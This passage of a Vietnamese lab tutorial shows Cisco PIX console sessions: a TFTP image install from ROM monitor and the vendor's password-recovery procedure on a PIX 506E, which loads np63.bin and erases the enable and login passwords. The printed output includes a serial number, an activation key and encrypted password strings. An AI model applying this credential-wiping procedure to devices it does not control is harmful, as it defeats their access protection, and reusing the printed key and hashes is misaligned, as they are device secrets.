monitor> address 10.10.10.100

address 10.10.10.100



monitor> server 10.10.10.10

server 10.10.10.10



monitor> ping 10.10.10.10

Sending 5, 100-byte 0x13d ICMP Echoes to 10.10.10.10, timeout is 4 seconds:

!!!!!

Success rate is 100 percent (5/5)



monitor> file pix631.bin

file pix631.bin



monitor> tftp

tftp

pix631.bin@10.10.10.10 …………………………………
…………………………………………�� �……………………
…………………………………………�� �……………………
………………………………………….

Received 656235 bytes



Cisco Secure PIX Firewall admin loader (3.0) #0: Thu Jul 17 08:01:09 PDT 2003

Flash =E28F640J3 @ 0xfff00000

BIOS Flash =AM29F400B @ 0xd8000

Flash version 6.3.1, Install version 6.3.1



Installing to flash



Serial Number: 808036792 (0x3029a9b8)

Activation Key: 0x9a5c6f78 0x67304d0a 0xed4c2329 0x89dd199b



Do you want to enter a new activation key ? n



Pix sẽ reboot và install image mới .





Bài 2 : Password recovery



Sau đây là bài password recovery được thực hiện trên PIX 506 .

Trước khi tiến hành khôi phục password , show version để kiểm tra pix
đang chạy OS nào :



pixfirewall> sh version

Cisco PIX Firewall Version 6.3(1)

Cisco PIX Device Manager Version 3.0(1)

Compiled on Wed 19-Mar-03 11:49 by morlee

pix up 27 mins 25 secs

Hardware: PIX-506E, 32 MB RAM, CPU Pentium II 300 MHz

Flash E28F640J3 @ 0x300, 8MB

BIOS Flash AM29F400B @ 0xfffd8000, 32KB

0: ethernet0: address is 000f.23ac.53f6, irq 10

1: ethernet1: address is 000f.23ac.53f7, irq 11

< -- omitted-- >



Quan sát thông tin từ show version ở trên , ta thấy pix hiện tại đang chạy
OS version 6.3(1) . Do đó , để khôi phục password cho pix , ta cần phải
có file np63.bin trong tftp server .



Bài làm được thực hiện dựa trên các bước khôi phục password đã nêu ở trên .



pixfirewall>en

password:



pixfirewall#enable password cisco

=>đặt password ở mode enable là cisco .



pixfirewall# write memory

Building configuration...

Cryptochecksum: 93bc4b61 43237b6a 67fe6565 ad91568d

[OK]

pixfirewall#reload



rebooting….



Cisco Secure PIX Firewall BIOS (4.2) #0: Mon Dec 31 08:34:35 PST 2001

Platform PIX-506E

System Flash=E28F640J3 @ 0xfff00000



Use BREAK or ESC to interrupt flash boot.



Use SPACE to begin flash boot immediately.

Flash boot in 10 seconds.



Flash boot interrupted. ß Nhấn Esc hoặc Break

0: i8255X @ PCI(bus:0 dev:14 irq:10)

1: i8255X @ PCI(bus:0 dev:13 irq:11)



Using 1: i82557 @ PCI(bus:0 dev:13 irq:11), MAC: 000f.23ac.53f7

Use ? for help.



monitor> ?

? this help message

address [addr] set IP address of the PIX interface on which the TFTP
server resides

file [name] set boot file name

gateway [addr] set IP gateway

help this help message

interface [num] select TFTP interface

ping <addr> send ICMP echo

reload halt and reload system

server [addr] set server IP address

tftp TFTP download

timeout TFTP timeout

trace toggle packet tracing



monitor> interface ethernet1

0: i8255X @ PCI(bus:0 dev:14 irq:10)

1: i8255X @ PCI(bus:0 dev:13 irq:11)

Using 1: i82557 @ PCI(bus:0 dev:13 irq:11), MAC: 000f.23ac.53f7



monitor> address 10.10.10.100

address 10.10.10.100



monitor> server 10.10.10.10

server 10.10.10.10



monitor> ping 10.10.10.10

Sending 5, 100-byte 0x9fd7 ICMP Echoes to 10.10.10.10, timeout is 4
seconds:

!!!!!

Success rate is 100 percent (5/5)



monitor> file np63.bin

file np63.bin



monitor> tftp

tftp np63.bin@10.10.10.10.............................. ..............................
.................................................. .................................................. ..
...................

Received 92160 bytes



Cisco Secure PIX Firewall password tool (3.0) #0: Thu Jul 17 08:01:09
PDT 2003

System Flash=E28F640J3 @ 0xfff00000

BIOS Flash=am29f400b @ 0xd8000

Do you wish to erase the passwords? [yn] y



The following lines will be removed from the configuration:

enable password qktPUfU6etg/RRvG encrypted

passwd 2KFQnbNIdI.2KYOU encrypted



Do you want to remove the commands listed above from the
configuration? [yn] y

Passwords and aaa commands have been erased.



Rebooting..

=> Hệ thống sẽ tự động xóa password và bắt đầu reboot .